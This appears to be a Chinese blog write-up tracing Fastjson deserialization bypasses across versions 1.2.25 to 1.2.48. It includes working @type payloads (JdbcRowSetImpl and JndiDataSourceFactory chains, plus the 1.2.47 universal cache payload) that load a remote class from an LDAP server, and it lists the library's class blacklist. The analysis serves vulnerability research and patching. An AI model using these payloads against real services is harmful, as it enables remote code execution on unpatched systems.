版本在1.2.22起才有SupportNonPublicField特性,且要求在代码中开启SupportNonPublicField.
JdbcRowSetImpl链
利用范围更广
当fastjson不出网时,无法完成jndi注入,同时高版本中的jdk有一些限制,只能通过利用本地类来完成反序列化漏洞利用。
Fastjson各个版本分析 1.2.25版本变化 可以发现在1.2.25中: TypeUtils.loadClass()
被修改为了checkAutoType()
1.2.25版本中,首先对autoTypeSupport布尔值进行判断,如果autoTypeSupport为true,那么开始检查黑名单和白名单,如果都不满足,则从Mapping中获取class。
如果autoTypeSupport为false,那么循环遍历白名单与黑名单,如果在黑名单中,则抛出异常,如果不在白名单中,则最后抛出"autoType is not support xxx"
异常,因此如果autoTypeSupport为false,就一定无法执行成功。
黑名单如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernat org.jboss org.mozilla.javascript org.python.core org.springframework
1.2.25-1.2.41绕过 因为黑名单中有com.sun
,因此想要直接 绕过黑名单基本是不可能了
我们需要寻找其他方法来避开黑名单的检测。此后的绕过过程我们都以JdbcRowSetImpl链来分析。另外,因为1.2.25后添加了autoTypeSupport Check,因此我们需要先将autoTypeSupport
设为true
1 2 3 ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String evilStr="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"ldap://127.0.0.1:7777/#EvilObject\",\"autoCommit\":true}" ; JSON.parseObject(evilStr,Object.class);
在第三行下个断点进行分析:
我们发现最后一定会进入checkAutoType()
如果既不在白名单,也不再黑名单中,则会执行以下代码:
1 2 3 if (this .autoTypeSupport || expectClass != null ) { clazz = TypeUtils.loadClass(typeName, this .defaultClassLoader); }
即call到TypeUtils#loadClass方法
但我们的所要进行反序列化的类都是在黑名单里面的,怎么办呢?
我们继续跟进loadClass看看。发现loadClass中有两个检测:
如果是[
开头的class name,就去掉[
,并返回一个array类型的的新对象
如果是L
开头、;
结尾的class name,就去掉首尾,加载中间的class
方法一:以[开头 那么我们试试以[
开头
按照提示在后面加个[
,报了一个新的错误,需要再添加一个{
1 2 3 4 5 public static void main (String[] args) throws CannotCompileException, IOException, NotFoundException { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String evilStr="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://127.0.0.1:7777/#EvilObject\",\"autoCommit\":true}" ; JSON.parseObject(evilStr,Object.class); }
现在计算器就可以成功弹出了。
这个POC看起来实在奇怪,fastjson是如何区别数组类型的参数的,为何以[
开头,后面就一定要跟[{
,我猜测是在正常流程中,fastjson做了一些处理,让字符串以[
开头,表示后面的是一串数组json,因此会去寻找[{
方法二:以L开头;结尾 前面有分析到,以L
开头,;
结尾的class name会被截取中间的部分,然后传入loadClass。
1 2 3 4 5 .... } else if (className.startsWith("L" ) && className.endsWith(";" )) { String newClassName = className.substring(1 , className.length() - 1 ); return loadClass(newClassName, classLoader); ....
那么我们可以构造以下的POC:
1 2 3 4 5 6 public static void main (String[] args) throws CannotCompileException, IOException, NotFoundException { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String evilStr="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:7777/#EvilObject\",\"autoCommit\":true}" ; JSON.parseObject(evilStr,Object.class); }
成功弹出计算器。
1.2.42版本变化 在ParserConfig#checkAutoType()中,检测到L
开头;
结尾的classname,就会将首尾去掉,然后再放入黑名单中检查。
同时黑名单做了hash加密,但因为加密方式在com.alibaba.fastjson.util.TypeUtils#fnv1a_64
中能找到,所以可以自己写脚本进行hash碰撞。
这里已经有人整理出来了
1.2.42绕过 方法一:以[开头 新版本并未考虑到[
开头的绕过方式,所以依旧可用:
1 2 3 4 5 public static void main (String[] args) throws CannotCompileException, IOException, NotFoundException { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String evilStr="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://127.0.0.1:7777/#EvilObject\",\"autoCommit\":true}" ; JSON.parseObject(evilStr,Object.class); }
方法二:以LL开头;;结尾 绕过黑名单其实很简单,因为此处只对L
和;
做了一次检测,所以我们写两次就可以了。
POC如下:
1 2 3 4 5 6 7 public static void main (String[] args) throws CannotCompileException, IOException, NotFoundException { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String evilStr="{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://127.0.0.1:7777/#EvilObject\",\"autoCommit\":true}" ; JSON.parseObject(evilStr,Object.class); }
计算器成功弹出:
1.2.43版本变化及绕过
这里对复写LL;;的方式也做了检测,因此不能再使用这种方式绕过了。
但以[
开头的方式依然可以绕过
POC:
1 2 3 4 5 public static void main (String[] args) throws CannotCompileException, IOException, NotFoundException { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String evilStr="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://127.0.0.1:7777/#EvilObject\",\"autoCommit\":true}" ; JSON.parseObject(evilStr,Object.class); }
1.2.44版本变化 在checkAutoType中对[
开头的classname也做了检测,因此我们之前的方法失效。
这里找出了新的利用链,且并不在黑名单中:但必须要有需要有第三方组件ibatis-core 3:0
1 2 3 4 5 6 public static void main (String[] args) throws CannotCompileException, IOException, NotFoundException { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String evilStr= "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://localhost:7777/#EvilObject\"}}" ; JSON.parseObject(evilStr,Object.class); }
1.2.25 - 1.2.47通杀 这里不再调试了,大概就是不停的绕过。
fastjon中有一个判断,如果发现是Class类型,那么就会执行com.alibaba.fastjson.util.TypeUtils#loadClass
,loadClass()中先通过java.lang.Class绕过了黑名单检测,并将该Class添加到了mapping中(会判断cache是否为true,默认为true),从而绕过了autoType中的检测。
1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用
1 2 3 4 5 6 7 8 9 10 11 { "a" :{ "@type" :"java.lang.Class" , "val" :"com.sun.rowset.JdbcRowSetImpl" }, "b" :{ "@type" :"com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" :"ldap://localhost:1389/badNameClass" , "autoCommit" :true } }
1.2.48版本变化 将默认cache设为了false,就无法将class放入mapping了。
Fastjson不出网利用 1 2 3 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl org.apache.tomcat.dbcp.dbcp2.BasicDataSource
dbcp链暂时放在之后再分析。
Reference Fastjson JdbcRowSetImpl 链及后续漏洞分析
Fastjson 1.2.22-1.2.24反序列化漏洞分析
fastjson各个版本反序列化漏洞分析